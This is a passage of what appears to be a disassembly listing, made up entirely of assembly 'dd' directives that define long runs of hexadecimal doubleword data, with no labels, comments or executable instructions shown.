		dd 95F5214Fh, 16BEE5F4h, 0B323F006h, 880A70h, 3FCB2E18h
		dd 5EDF90E1h, 9891433h,	0CE210325h, 9A5C3FD3h, 1149A010h
		dd 0E8591F14h, 102AE619h
		dd 60DBFF91h, 3C288017h, 0BF1D1903h, 7B34C916h,	97238440h
		dd 68DE00E7h, 0BB064655h, 6C0A164Eh, 8C2F1A65h,	87FB3680h
		dd 3045AFh, 5712B7D8h, 5882D7Ch, 0DA2E1C0Ch, 0E1703Eh
		dd 0CDE5680Eh, 189919D5h, 7F3BDB18h, 0E34369h, 0FCF9C64Ah
		dd 0D4E21F35h, 214908CCh, 4AEB00A0h, 0BC22CCF5h, 99004D0Ch
		dd 3AC58010h, 0AEF619CAh, 28E4698h, 90FE3FC0h, 102731B7h
		dd 0F43FC8D5h, 680500D4h, 9C530E02h, 0A8024B99h, 64A53B61h
		dd 0A894887Bh, 0C39ED08h, 0FB411A70h, 727EF00h,	0BA938E3Dh
		dd 180FA10h, 0CB5BC795h, 0F0797F38h, 0C5565F92h, 14D707B4h
		dd 0FC7A8226h, 21199089h, 39F59640h, 0F01800FBh, 9273686Bh
		dd 47009C4Eh, 0E1B9E317h, 0C5DEE51h, 0F08C4663h, 807B91F8h
		dd 81883652h, 0C9796831h, 6964BC40h, 0D23D004Eh, 3CA33AF5h
		dd 983A9054h, 7438E155h, 60260347h, 9092D703h, 203D1AE9h
		dd 5344819Bh, 0C809F2FFh, 42414EDh, 5EED0438h, 98FD9185h
		dd 0B88B22BCh, 2C65EE4h, 938408Ch, 7C4E3F2Ah, 801E902Ah
		dd 69F7B901h, 0C29D989Ch, 0ADF8B883h, 0D00FFDD0h, 551530Fh
		dd 0A40110E8h, 18B19891h, 0BDFAA083h, 18040748h, 28019093h
		dd 69BC3D0Ah, 0EA62D481h, 3384071h, 0E3015B89h,	0A348E94h
		dd 8BABE9Ch, 0B0DD21E0h, 0E67FB25Bh, 4E90D24h, 216E508h
		dd 72B49D19h, 9ABC1040h, 8AB1BB01h, 0C909F36Fh,	8EC9058h
		dd 8591845Eh, 3FE7D670h, 6B829D5Eh, 249830B1h, 81C3602h
		dd 92CA11B8h, 8C22743Ch, 0E2A1BC1Eh, 51824C1Eh,	0B06F2C12h
		dd 20AD62ACh, 3150FC80h, 80822998h, 65683014h, 95ACA83Dh
		dd 541440A8h, 1B409879h, 3CE65CBCh, 83D47C24h, 0EEB85DFAh
		dd 0BBE05000h, 9A31036Ch, 4EF60B8Fh, 0DE003B52h, 7BBC089Ch
		dd 0E0320093h, 5EE030CDh, 0E5918813h, 50DAE438h, 14B98DBh
		dd 3736A0EBh, 4540CFD6h, 91CC40F3h, 7756A2D7h, 44BCF200h
		dd 0FA7DB1CEh, 0B5601992h, 7189C032h, 0AE3180C8h, 2AD0D793h
		dd 0F5FD1490h, 0CC234CC3h, 895EE101h, 3D18DD91h, 6D8D988h
		dd 9DF8555Eh, 540CE2F3h, 0F8C57F95h, 4F783D20h,	0A1473289h
		dd 2F552402h, 4C5A9302h, 0E9DB01BCh, 43F72E69h,	0F1AD40AAh
		dd 0AE249427h, 5313904Dh, 9874A860h, 0E17CA317h, 4322C81h
		dd 0AD889381h, 0E726F225h, 26512080h, 0AF4E148h, 0F8D5C839h
		dd 110620B8h, 562D9831h, 3BD50AA4h, 0FB80FC77h,	0F50CC7BCh
		dd 91762Ah, 0C397C1E4h,	0EC5CBD59h, 0E56081C5h,	0FF82BC40h
		dd 2499B4F1h, 11C89F8Ah, 5B8B80E8h, 8CBE94E1h, 0E30544h
		dd 0B6F45BB2h, 0ED19431Ch, 4D24A373h, 2B93C454h, 7D608C70h
		dd 8E058520h, 8C80D354h, 42A5C61Ch, 423C102Ch, 0C1C5F40Ah
		dd 16569F90h, 1D985E34h, 0B813D573h, 6996EE03h,	5282AC92h
		dd 0F4030464h, 722A2D7Dh, 4B290019h, 0B3A23BADh, 6A006113h
		dd 76FA0C92h, 56BB8B01h, 1B2EE8E9h, 0A272403Ch,	0F22CDCA3h
		dd 340088CEh, 25199CE0h, 51E91205h, 0B3E861E1h,	4718FC93h
		dd 63C488C0h, 34A8869h,	0A5D602F9h, 59012D19h, 65A3A1F3h
		dd 0D870C075h, 0FD400B11h, 0C8C920Bh, 0F5B896C9h, 2CDE7C88h
		dd 7AF15902h, 0E04986B8h, 8016DA28h, 0A020441Fh, 24121455h
		dd 8934C01h, 0FFC3E7F8h, 9CF9F14Ah, 0E7BC000Eh,	0F176E44Ah
		dd 9C9E1637h, 66CC0C7Ch, 4E40DCA0h, 5DE20028h, 16BC262Bh
		dd 0FF1A120Eh, 0C0E009AEh, 824440C8h, 314E880h,	0E83C7CD9h
		dd 0B7693D3Ah, 0E42F98CAh, 9C879855h, 80C81532h, 0AE508E58h
		dd 90A4181Fh, 70344843h, 0C5FCA1C0h, 1A052Ah, 8D32F497h
		dd 0B957DC30h, 15348A0Eh, 0CB4160F2h, 90E2A519h, 3D0D20B4h
		dd 0EA40F605h, 0F480F2C0h, 254CAC34h, 42F5478h,	9F893D68h
		dd 3B782307h, 0F1791F72h, 4E73400Bh, 0DF8CEA4Bh, 120A5400h
		dd 13D6BA1Ah, 344512FAh, 0EF7000F7h, 2B99CD22h,	9C106C92h
		dd 963E752Ch, 0A7BC50D9h, 4AAE2D00h, 9E305511h,	296E2025h
		dd 14851801h, 16345DE0h, 0C0E1030h, 0DAE849AFh,	58264170h
		dd 9884501Ah, 0BD421B6Dh, 0E0807BDEh, 0E0874E0Fh, 5D608A0Ch
		dd 5632013h, 8FD32684h,	0CF203840h, 0F3257846h,	0EE800035h
		dd 2FF2DD78h, 3AC4B994h, 27DA2D88h, 0C0A53302h,	32A09046h
		dd 984A4Dh, 0E330650Ch,	909B1499h, 22FCD714h, 48F00059h
		dd 88A43A2Ah, 4F794E54h, 9754BF4Dh, 26235C2Fh, 4B0CED00h
		dd 4C1E0998h, 8383C89Dh, 0CCA5882Fh, 0E85909A8h, 7798826Ch
		dd 70106072h, 7629CF11h, 0CCA536A0h, 0E33890EEh, 7833809Ah
		dd 0A4922411h, 0C049AB4h, 99973D3h, 980B9D61h, 27D71FBDh
		dd 608A41Ch, 91CF2357h,	40171A3Ah, 67A58h, 0CBA6C142h
		dd 0F204BDF9h, 689D80A0h, 5DF824A0h, 18C3F3E0h,	0A6FB12E4h
		dd 0A4911241h, 32982068h, 4E0C569Ah, 0E081C095h, 0F40E48D5h
		dd 0AB534201h, 0D08AC2D3h, 1F19167Eh, 52915F98h, 0D44AE744h
		dd 653E9F57h, 0A0246278h, 77442081h, 15F71200h,	88F681C1h
		dd 0E8F9C84Dh, 45D68020h, 0E1609126h, 0D9262048h, 4AA1CF78h
		dd 18ECF9C4h, 0E9A28848h, 0AB9D4A00h, 96B854B9h, 0F47F0668h
		dd 6038FA25h, 444C9B17h, 0F402EC13h, 0A9D29574h, 0E41065C0h
		dd 84ED6120h, 9C26B1FFh, 1253F8F8h, 0C56D8892h,	9E41F04h
		dd 0AC91BEF5h, 0E7805224h, 2CFD14E1h, 10892C08h, 305E3808h
		dd 0F950E61h, 469DF700h, 0A309429Ch, 1554336Ch,	13A40348h
		dd 53BC5404h, 29FD5A00h, 2494DF3Fh, 9C2F6384h, 250888B2h
		dd 98023162h, 9967F24Ch, 5120884h, 60845C5Bh, 96402D11h
		dd 281F3FE2h, 0BF023F9h, 141E99C5h, 5E109460h, 0EF020B46h
		dd 578C8FFDh, 0FC0FA071h, 0F26CA198h, 0C02663AAh, 968B070h
		dd 1FF168F7h, 0B953C20h, 0CC20ACAEh, 20409074h,	0EB18384Ah
		dd 0E2710F71h, 3D7A074Fh, 60D2DA42h, 41AFADD6h,	0FF924307h
		dd 0AA40A00Fh, 0C0713403h, 7F87E989h, 19003B5Eh, 0E35CEC4Bh
		dd 6693486h, 99540B6Ah,	0D88090E2h, 0F50952ACh,	11D895h
		dd 0E1B9DE90h, 6A553172h, 30256818h, 4CB1D8B8h,	7EEFD280h
		dd 3D248682h, 0BB00D95Fh, 42374E79h, 770496C3h,	0BF1070A5h
		dd 13B2C502h, 6262C141h, 784410D0h, 5E4CF22Ch, 0A4012646h
		dd 0F596A19Ch, 24703C35h, 0DD0868E8h, 0A6640932h, 2D896068h
		dd 0DEE0317Dh, 1D54FF14h, 1E923F8h, 94E05B8Ah, 880418B6h
		dd 5B17B1DCh, 0AD013FE7h, 6FF868CEh, 989B3C60h,	363C9826h
		dd 0D0580AF2h, 0A3F0BB54h, 2C45A0A0h, 0D060DE81h, 9410E701h
		dd 6C90685Fh, 0F10464AEh, 5649849Ah, 0AD0498B3h, 0C9A8B894h
		dd 97E83184h, 74465520h, 5280591Fh, 84026CE7h, 0E694EE5Bh
		dd 0DA100631h, 16075B8Bh, 0BF572A88h, 0E907C1A0h, 800A009Ch
		dd 0F6783B7Fh, 81733392h, 32E0710Ch, 2574F0C0h,	40A1E89Bh
		dd 105D90h, 92554664h, 46549018h, 3FC2028Ch, 0D1A790F8h
		dd 0CAD76164h, 9439EC3Fh, 28A9CD10h, 53472F00h,	0FC8A663h
		dd 602BE8A0h, 7038ED31h, 0C054711Ah, 26F228B2h,	562B1D30h
		dd 2F16A43Ch, 640CD38Eh, 0BF8258E8h, 8E1840A4h,	0F470ED30h
		dd 132127F5h, 241D1C29h, 8F800511h, 0C15D2D13h,	7237C814h
		dd 0DDD49888h, 8C340027h, 0DED489FAh, 2100AF6Bh, 0EF31C46h
		dd 12D667D5h, 49619E1Eh, 0C096BCCh, 5F012787h, 0F1251A06h
		dd 4A81CD00h, 0F4489069h, 329EE99h, 762B95ACh, 0C803A89h
		dd 41C2039Ch, 8123A5CDh
		dd 6734A36Ch, 583A98FCh, 1A2C9C03h, 8B240D0h, 0D60760E7h
		dd 0BD5B62D9h, 9812C545h, 94C128D7h, 0BC34ADF5h, 2028B0E2h
		dd 0E04C3E6Dh, 0FE12098Ch, 0F6ECA0D9h, 74940h, 0D0DF94AEh
		dd 349517D6h, 2859182Ch, 81791B1Ah, 94732B0Ch, 11094462h
		dd 60E24560h, 3009C861h, 8A2335Dh, 2144B8C7h, 0E1A19260h
		dd 0BAC12804h, 9F407B34h, 7ED5FC32h, 0DC525726h, 9835A93Fh
		dd 1DCE1602h, 0B908800Ah, 9074CF29h, 10E60910h,	98215568h
		dd 80127184h, 248DB271h, 6A6B7D4h, 0DB915B3Fh, 9C0240ECh
		dd 0FE97993Bh, 0F404639Fh, 84691CD0h, 0B0F4A1E8h, 9C66C48h
		dd 0C790FC3Fh, 0CB808045h, 58B63FCEh, 70A25C09h, 0DA963407h
		dd 0D169550Eh, 50281A08h, 0BCF1FDB4h, 0A201D370h, 5D85861h
		dd 2BFCAEABh, 939C00DEh, 186A9E52h, 8454981Eh, 0A50BF890h
		dd 0A2BF0460h, 0E0532F4h, 5DD841C2h, 7CFA8C60h,	20319381h
		dd 7414C428h, 98BE8ACh,	0B4CFE805h, 881B9064h, 0ECA1269Dh
		dd 4F60CE40h, 0C3139903h, 8C4415E7h, 54B179CDh,	4A358F0h
		dd 121F0266h, 7088E4F9h, 0D98004B4h, 0A04C9F4h,	0A4835CCAh
		dd 223E9812h, 5D201074h, 132DF584h, 91B1C3A3h, 0CEFD20h
		dd 9A4D95F6h, 68310C7Ch, 0B3A83565h, 0DC4C930Bh, 7E34A150h
		dd 79802571h, 48460805h, 0A300202Ch, 3C4273C9h,	24EE29CCh
		dd 94102E9h, 0BC03B4E5h, 50401445h, 340E4ACh, 793B2AEEh
		dd 0B71F1DB8h, 0B062C017h, 923CF094h, 9C60E8h, 9173C405h
		dd 0C84F7800h, 31B9947h, 0A493B2BCh, 0A13156C4h, 5598B062h
		dd 78B17h, 0F19914Ah, 318C4968h, 0C1184280h, 726EDCA0h
		dd 60820552h, 0B0387CB8h, 58F709C5h, 78A00D71h,	0B01C9ED7h
		dd 9B00B9FAh, 693ECD3Ah, 0C2E3A7h, 2AE9C498h, 40C8A512h
		dd 5DFFB9C3h, 0EF1015Ch, 4C9B79A8h, 3D428F8h, 0DE21EF23h
		dd 416808CEh, 94057B4Dh, 0A89005FDh, 4CD2ACADh,	220024DAh
		dd 9EE1FC0Fh, 0DC9A3625h, 0AFA1805h, 203CEBB3h,	12DD46E1h
		dd 50CCE312h, 0CE734028h, 6091AEE8h, 68991F09h,	3EB8430h
		dd 0B34F5288h, 93B3CC49h, 7A2594A0h, 57682D67h,	74B00C74h
		dd 0DB98AA1Ch, 0F66E705Ch, 870F702h, 50340580h,	76401388h
		dd 44A4093Fh, 7368280Dh, 62205850h, 38F1F8h, 7D4665F0h
		dd 680E581Fh, 0A89C3D16h, 0F9533C0Fh, 47F47424h, 2570FF98h
		dd 8EB01AB3h, 13E938C8h, 77AF0C4Eh, 38806193h, 0D40F0F4Fh
		dd 0C04B30Eh, 0F4002229h, 8511AA9Eh, 963C150Bh,	5A5CC28Ch
		dd 880F0C44h, 5E983F3Dh, 9B191F63h, 1290F001h, 0C1980957h
		dd 0F464D5CDh, 69ADF839h, 0B2088449h, 0E23FC460h, 11D79023h
		dd 0CCC90024h, 0C8FDE13Fh, 665F2673h, 45AC03ECh, 2D125A3h
		dd 220C39D9h, 726B1276h, 312482CEh, 0B421C884h,	0FC428CB8h
		dd 0C161FE18h, 8029AC91h, 117D043h, 0C08B4C57h,	53C025C8h
		dd 5AD30483h, 23C82E98h, 7CA60048h, 59316CF9h, 0B5F5B00Bh
		dd 0E1682061h, 4E29DC62h, 23483A98h, 9F1B002Dh,	171CF752h
		dd 0E7B07700h, 1128B934h, 9518908Eh, 5699B420h,	322404E9h
		dd 3B15502Ch, 5E490088h, 44CA63B5h, 487E4EFCh, 6CA416DCh
		dd 4945180Bh, 39AF34B4h, 5F60010h, 507EE7EAh, 0C803D8A4h
		dd 6D295B4Fh, 8EA38097h, 4A102C2h, 0FD88A664h, 0F881D805h
		dd 0FF023E4Eh, 24AED061h, 349E7A7Ch, 386A1F40h,	2578B8E9h
		dd 4C911371h, 90CB051Dh, 0E0C024C8h, 1DE122FAh,	9625DD57h
		dd 245804EEh, 45861F08h, 0A1A8FE84h, 0CC14A1C8h, 0B300B964h
		dd 6570721Bh, 1433B2C7h, 9441BCA5h, 17E5F84h, 5DA84D19h
		dd 9181E022h, 0A4765494h, 0E2096018h, 72506810h, 9C4CB813h
		dd 9D1B60E0h, 0D3805144h, 277529E2h, 1302634h, 3CA6632Bh
		dd 0B18C4807h, 3FC5048Ch, 62CF90E3h, 0CDC8201Ah, 48F8763Fh
		dd 13416202h, 0C13C961Eh, 8C5130D0h, 0F7FDBD52h, 408AF408h
		dd 82F2E808h, 900167C0h, 4E1BEF17h, 0A6B11030h,	0D79D24F6h
		dd 0A579027Ch, 70618898h, 17F1AF61h, 8F049168h,	85B4A175h
		dd 28306ED5h, 3FB4AC5Ah, 58A24511h, 9852FD28h, 110C1D95h
		dd 22318120h, 0A8782518h, 90E0342Ah, 59996330h,	0F1001F71h
		dd 0FBB0C33Bh, 7684837h, 21CD2FD6h, 0B2A7E06Fh,	421688F6h
		dd 0C14A9D8h, 50F8873Ch, 2CE4B28Fh, 0D8182699h,	4AE2C038h
		dd 0E446F9C5h, 0A1004B22h, 28D24AEAh, 48C6E5D8h, 56050C82h
		dd 0B090ADF7h, 0F093E998h, 64453102h, 6E909155h, 0AC28380Dh
		dd 5A008C21h, 0DDA3B972h, 1451899Ah, 9090EA4Fh,	0A9D02F37h
		dd 52877005h, 0C8B4CBF8h, 9DEEC007h, 450F2CDDh,	13AF7037h
		dd 0C0E4CC48h, 0F9C14AFEh, 4D228446h, 4AE6BD02h, 6089E747h
		dd 8832292Ch, 60ED4F46h, 62631F9Ch, 0DAF0A478h,	645047D4h
		dd 1079610Bh, 0B4EFE30h, 2C51C5F4h, 0DBD368E8h,	20780498h
		dd 42D5F588h, 94D3290Ah, 8680E591h, 9694EC5Bh, 0D80F448Ch
		dd 0A35B8D12h, 6AB4C8h,	0BE1B6F95h, 24124874h, 9CD9601Ch
		dd 6DFBA002h, 30C44C42h, 70394F34h, 0EE00628Bh,	89E267B8h
		dd 3F709D9h, 7A14613Dh,	0F3AA65D7h, 9308B84Ch, 4441489Ch
		dd 9D2F455Ah, 29C20B4h,	0BC022703h, 3C5C71ADh, 308FAF80h
		dd 2730D9Eh, 0BBD0CA60h, 34613DD5h, 5DFA1083h, 6FC9A68h
		dd 0F5CDF4DEh, 60847824h, 0DC32962Bh, 0D1733B0Ch, 8BF0A5h
		dd 42E16557h, 2CF39875h, 5132E909h, 7EC485E8h, 4FFD04Bh
		dd 0C9563C08h, 9E31E0C4h, 0F1A7A207h, 18EC7EBBh, 98D6C6F9h
		dd 0F80D318Ch, 0A90914A5h, 144730F4h, 0ECE638AFh, 911C510h
		dd 400DCE1Ch, 0BBF3E890h, 0C8B971A4h, 2C60199Bh, 37F2C3A1h
		dd 68E6019Ah, 0C53B8482h, 0D80C60CAh, 0B932340h, 2CADF955h
		dd 0FD9538E1h, 0B852CE73h, 29889313h, 5DE34042h, 4314563Eh
		dd 695936FEh, 0BF1BCA4h, 4EC57045h, 89E8B0E3h, 25729E57h
		dd 822285Fh, 0AF74215Ch, 0D999861Eh, 4197A34h, 7516529Eh
		dd 114BC1E4h, 0C4F4798Ah, 0F441D094h, 4279B864h, 0C52B6FD0h
		dd 6047E434h, 955E86h, 6A16FDE8h, 429C2E4Eh, 195F450Bh
		dd 74A42A09h, 2184E1CBh, 931C7101h, 88090691h, 918C217Eh
		dd 6C38D044h, 5DF7D307h, 46259C8h, 721B2899h, 0E574003Ch
		dd 43FFB6B1h, 0AE05B572h, 922881C5h, 8853EE53h,	48A773Ch
		dd 0E360CED8h, 9127875Eh, 811445EDh, 0E15EDADBh, 7C243082h
		dd 6654C71Eh, 4C9CC902h, 0EE7CC44Eh, 972F8078h,	0A3015099h
		dd 0EA708E21h, 6048182Ch, 7F8C05E8h, 382700DDh,	99D0B583h
		dd 0C707C96Bh, 0FDF4141Ch, 0E8B230A5h, 7AA3A854h, 30D95E38h
		dd 49D318Ch, 0E1B05254h, 11E26A1Fh, 880F3EC3h, 0D4E9B4C1h
		dd 0BEF37409h, 9454A4EAh, 0F354E00Fh, 0B80C8830h, 0CFEA00C5h
		dd 0EEF53350h, 26009153h, 8D12C47Fh, 1EED6BAFh,	84932296h
		dd 0B49073C3h, 9C04F4B4h, 0BC921C1Fh, 4EE2C8E3h, 0BD4E903Fh
		dd 38B8E86Dh, 0A3F98701h, 0A5AFCD80h, 0A4019E31h, 71DA9B1Fh
		dd 0F5140818h, 463930Bh, 0E060DED8h, 0F923CB4Ah, 4E11D4h
		dd 2B4AE8A3h, 0E74C9941h, 3EB2F434h, 74C8F590h,	1C4D5D22h
		dd 4B389C4h, 0D34B8E10h, 0B90824E5h, 559B0410h,	0C044B817h
		dd 20B3BBCAh, 8C894BABh, 90979D38h, 2B6964D0h, 62C4B92h
		dd 0A894AE0Fh, 33E73C88h, 6784E8Ah, 95F61BFAh, 734F418Dh
		dd 56281050h, 0EE81268h, 50535C35h, 3F852904h, 0F3E808F9h
		dd 0C0EE7500h, 0E3CE5767h
		dd 257122EFh, 56A9700h,	0BD0B7A65h, 174B007Fh, 647D52BBh
		dd 0CC04309Dh, 0EB3EED5h, 6E0C24F2h, 31410F36h,	3211681Bh
		dd 121481B1h, 4C33F0D1h, 0E601D323h, 0D5918A5Eh, 0D8802463h
		dd 0EEF45ED9h, 3B559202h, 79F0A896h, 60918268h,	0B47A2DB1h
		dd 2BBC1B54h, 0C4359013h, 70A564C1h, 0F9719434h, 0D014D3E2h
		dd 3517C345h, 3C0BF74Ah, 5785D794h, 0DF4488D4h,	64960284h
		dd 5CEC4CACh, 0DD20A064h, 40F60379h, 0D771B143h, 0E02F314Ah
		dd 75002123h, 0BD9A0880h, 0D0344A9Ch, 0AA86AD34h, 52985E01h
		dd 2D5FA947h, 12EBEAE4h, 8788D35h, 71972E50h, 0D161DCD0h
		dd 78E70694h, 21DB95F9h, 0E5608B09h, 7D34D039h,	310E622Fh
		dd 0DA62261Eh, 745ABC56h, 0C57143FCh, 0C8B99926h, 1A4CAB1Fh
		dd 3999E95Ah, 74139356h, 0F7A401E0h, 845FD340h,	0D4425050h
		dd 8B11EE02h, 20C47874h, 6B499301h, 2098650Eh, 0E89204ECh
		dd 0B3809D09h, 640C87B0h, 0FFCBE211h, 4BBC623Ah, 0A4782008h
		dd 0F93B8CB5h, 6CF4265Dh, 77C594Bh, 0A0753C2Ah,	4E5CE16Bh
		dd 0BB1EEA0Bh, 237080A3h, 4E4C5D78h, 7AD44212h,	0FCC8F895h
		dd 0A8A80C76h, 0C31C5438h, 9CC1526Ah, 0C1EA82F2h, 23A6960h
		dd 0F7DF3CB4h, 0E4EAA8ADh, 44C9E048h, 0A24EC027h, 11D5138h
		dd 0E4985993h, 0A8969528h, 162C37A5h, 66240973h, 525E3CE4h
		dd 9560E402h, 785C7222h, 3651253Bh, 8CF1C46h, 5C0937B8h
		dd 0F66CB05Bh, 36451288h, 0C9EC8124h, 8F20137h,	0E8F39C20h
		dd 86093AA3h, 0A5F81C84h, 224ACBCh, 2F6122F6h, 40D10Eh
		dd 956B10A7h, 2D03FFC4h, 19B07DD7h, 0FD93E973h,	919B59C0h
		dd 9D14FD4h, 821D558Eh,	112EEE0h, 2C41F5FEh, 3C711870h
		dd 2F989129h, 5CA2C8A1h, 0E80C3310h, 2DC938Dh, 90FF3FC1h
		dd 9C86F1F5h, 46023015h, 6301C356h, 2BF6613h, 0FE45034h
		dd 5AC93BB7h, 0FFD78B00h, 46EFD6B5h, 0EA80060Fh, 0C295263Eh
		dd 8B660313h, 0FC085CAh, 5905109Bh, 455113BAh, 5FEA83h
		dd 55958B15h, 8906440Ah, 43DA8537h, 1F6D8D61h, 8152188Fh
		dd 8424F880h, 7CD05A30h, 0CB93D14h, 8069C8C3h, 32A0F3FDh
		dd 6A2C443Dh, 0E83053E0h, 5B201103h, 5689E4C3h,	1C22815Ch
		dd 0C3534300h, 1A2960B0h, 3EEB0CD7h, 0C9AE782Bh, 68A1D40h
		dd 0E9106AD1h, 810F370Bh, 80809CF2h, 0E34C526Bh, 8B61066Eh
		dd 3407B9BDh, 7D378376h, 0F020C21h, 26398C84h, 8D1A4025h
		dd 0F0338518h, 3D9BBFE0h, 0E9A9F199h, 0BD8907A4h, 11167A9Dh
		dd 8A600009h, 535061C6h, 65DDFA8Bh, 645F242Eh, 508608D7h
		dd 91C358C3h, 0E4489h, 0EFC35040h, 1AAC45Ch, 0AE47FF1Dh
		dd 8113E8F4h, 8BE9A923h, 3D60F106h, 0AF2D0024h,	4EFE3E74h
		dd 11432CAh, 229E8BF4h,	0D192DDC1h, 810F1ECEh, 8D0584A9h
		dd 0E36208F9h, 0C8C92F02h, 95011230h, 7F2A9920h, 2922A00Fh
		dd 0A61555B5h, 0AE8EE8Ch, 77008C1Bh, 0EA1979E0h, 6C12FF7h
		dd 5DED8001h, 6A882A59h, 0F40F49F6h, 0DDD238F3h, 6F2262C0h
		dd 4C1D979Bh, 3406CCCAh, 3107E8D3h, 51711C00h, 5E8D7698h
		dd 19B8E70Fh, 59C95F38h, 58556899h, 0C3725DC0h,	116C8923h
		dd 5545001Bh, 12D169C3h, 28E67662h, 45A0A73Fh, 0E91E41C6h
		dd 59A5929h, 0FBC50A2Fh, 0B9224F40h, 984C0BE6h,	4E0EDC95h
		dd 0D0E82C6h, 9D08E829h, 88C0051Dh, 1FBDEC4Eh, 2D35A159h
		dd 5623B223h, 44C35E0Eh, 19627489h, 0D80E336Ch,	40FAF3CEh
		dd 1DBD2B66h, 8192C00Ch, 64ECEFCFh, 0FC5A3D68h,	144A2D13h
		dd 0D940E8E9h, 0F2E2D1h, 56FDEABFh, 8068A5ECh, 68665A0h
		dd 0A940388Bh, 3606A40h, 9BA6B954h, 8A56501Eh, 168F6228h
		dd 9B83A2B6h, 3D3C68D1h, 14414CC0h, 14A56E1Fh, 84BCF052h
		dd 0A7100DA1h, 1E1BF910h, 8E28F883h, 73051326h,	401F5943h
		dd 0D2FA9D2Bh, 9E190142h, 3151804Dh, 20C020Eh, 3E60E60h
		dd 41E99588h, 0CF8A8430h, 0FD8043A2h, 0E15AF59Fh, 7FF0E7E9h
		dd 0FF24120Dh, 23323AD0h, 9ADD001Dh, 921E0552h,	0F267A809h
		dd 0ED011872h, 0D0163C8Eh, 0A99DAD81h, 885F14B1h, 32EFF286h
		dd 5F305776h, 4C89E4C3h, 47E02D7Ch, 7B00C357h, 0F66CA3F9h
		dd 63421D9Fh, 0C08BC204h, 8B82FE92h, 996820CDh,	12C40975h
		dd 74440B25h, 0C078D019h, 752D8B8h, 2F510F7h, 4F9D8D05h
		dd 0FFAC01A8h, 58585BD3h, 1E821722h, 0A53E2320h, 0F4C52033h
		dd 307CF50Dh, 6838D68Fh, 0D29A763Fh, 7822CE2h, 9D93608Ch
		dd 0B2CB0CFDh, 0BF18617Bh, 215FF309h, 0C9210255h, 0EA81000Ch
		dd 97242D50h, 33C172Ah,	0DBC7FDDFh, 0E67C484Ah,	68F88B80h
		dd 75DF01FFh, 10187549h, 58C6E714h, 54B23A56h, 0E9B28229h
		dd 31B00C1Eh, 0A5402A58h, 1423253Ah, 9E81B0Ah, 0EF3C1C01h
		dd 5230C702h, 0A9E201h,	0FCF2A1FAh, 2026B4BFh, 8232E431h
		dd 5F000761h, 41CB0DE9h, 107233F8h, 2C324DE4h, 0A0608A50h
		dd 0DF8355h, 1EF40E79h,	44A5CAF3h, 8B26E33Eh, 14EC8AA9h
		dd 0C456A583h, 0E00B6319h, 161ECEDDh, 73DFB5E5h, 56848863h
		dd 6D9D6570h, 0F1C7811Ch, 69672271h, 5A685F03h,	5C025B15h
		dd 2F104DF0h, 47DD8DC0h, 40D2DD08h, 8FA4E801h, 4BE2400Fh
		dd 34FEC019h, 26542C4h,	1DE8A23h, 0A8922D8Dh, 0F2B8A202h
		dd 506E0409h, 7C6E24C0h, 6A0A2441h, 0D7B70B21h,	97601531h
		dd 2346CDC8h, 44F061F5h, 0CB7ABFD2h, 1A0F2F29h,	9DC92B26h
		dd 801B1109h, 17FF6DA5h, 5AD00C0h, 0A8F8BF2Fh, 7591508Ah
		dd 3570E99Fh, 242A9319h, 5A7423C3h, 0AD0DF8FDh,	0D570E562h
		dd 298A2CB4h, 9C92D1EEh, 0E9CA8B0Bh, 0C8B71917h, 0EB7E5826h
		dd 10B71D80h, 0E55C9E49h, 0D3A80E0Bh, 0A5778250h, 0C94F0A28h
		dd 1F4D2D82h, 4D329212h, 26FDE0B1h, 4006145Fh, 0B659123Eh
		dd 3612560h, 0EE5BB3Ah,	9C6016E4h, 0D2FC12DAh, 29E45A1Eh
		dd 0E55278EEh, 601B64BEh, 4A89A13h, 0BEDA80BFh,	4B81C0DBh
		dd 4350F1E2h, 0E487CA89h, 0A9C5601Dh, 7BF70F06h, 0CADF90C2h
		dd 88B6048h, 0BA262E8Dh, 51AB108h, 25EA8A61h, 29EA0D6Ah
		dd 81795C1Eh, 0BA64C71Ch, 0E5E96C43h, 5A80FCF7h, 0A42AA585h
		dd 0FB2320F3h, 118E0F25h, 2274CE6Eh, 9D01800Bh,	8D2CB530h
		dd 81190585h, 5322E9h, 0B3F22E6Ah, 0CFB581h, 0BC876E51h
		dd 0C1FC3C1Bh, 0A32DD01Ch, 0BE98F02h, 10B65906h, 0B58D0428h
		dd 213F2D8h, 4C4FCA16h,	0A1735D40h, 49952980h, 235D42C1h
		dd 8160D000h, 0F56F96E0h, 0C1842050h, 0B9613140h, 627D11D4h
		dd 0A20E1D0h, 0EC5B000Fh, 0F38B1A89h, 17D10E99h, 924D918h
		dd 0FD975AECh, 20B2B745h, 5B805C24h, 80219195h,	81659D0Bh
		dd 8EC86191h, 59398C51h, 4C8912C3h, 417238h, 0A011C351h
		dd 717FBAEBh, 0B1148F0Ch, 208DF1ABh, 0E930151Dh, 2503350Fh
		dd 0FDF80771h, 404533ACh, 7AB0A4D7h, 8CF1232Bh,	41D6C52Ah
		dd 0BF662400h, 135640B6h, 4B099D31h, 849F59E0h,	0D9FCD991h
		dd 9844E985h, 12D81500h, 993C6663h, 27110001h, 0FBEA64Ch
		dd 1DEE187Ah, 10785A4Ch, 0E603049h, 42ABFC0h, 50023B13h
		dd 1C23D43Ah, 3B41A807h, 7AFA48A0h, 57822C25h, 0E5A1671h
		dd 0D8C3CF69h, 0E19F58Ah, 0A1C853F9h, 7203B948h, 7543E889h
		dd 2006D850h, 4643FABCh, 40605B19h, 61DFE4F1h, 0EFBA660Fh
		dd 10824BBBh, 2C9503E5h, 4A7D2405h, 8024204Ah, 4F9F37EBh
		dd 456E50h, 0FBFCCECBh
		dd 0B5DF507h, 810F2149h, 0B9600290h, 0CC35B600h, 0D5B52967h
		dd 0A0789213h, 0C90D99D0h, 6BA56095h, 9698931h,	0FADC9784h
		dd 800EA808h, 0DE69B4A8h, 1D00261Bh, 10414F43h,	0D86CBD13h
		dd 0AB168C4h, 0D1BF77A1h, 685FCC96h, 44C118E0h,	0F758D0Bh
		dd 0A532492h, 0BDFEA17Bh, 607D8C26h, 0A9C7BFFEh, 266A3F31h
		dd 0FC021441h, 8F93976Ch, 5D2BF128h, 3725640Ch,	0B0C2007Ch
		dd 0D7684328h, 974F6901h, 18408B21h, 53B8963Dh,	0DC2A4200h
		dd 3119FEE3h, 2519B8BCh, 22F16BDh, 0CDC80E68h, 0EE30D313h
		dd 8CAE6Fh, 0F3E1E286h,	0A88FA597h, 0CF275A00h,	42E9FE33h
		dd 61362758h, 0F9C1721Ah, 0F23568ADh, 9536A264h, 109F6BA5h
		dd 0C102934h, 278C3D61h, 1E832A0Fh, 0D19991D2h,	0BDA1818h
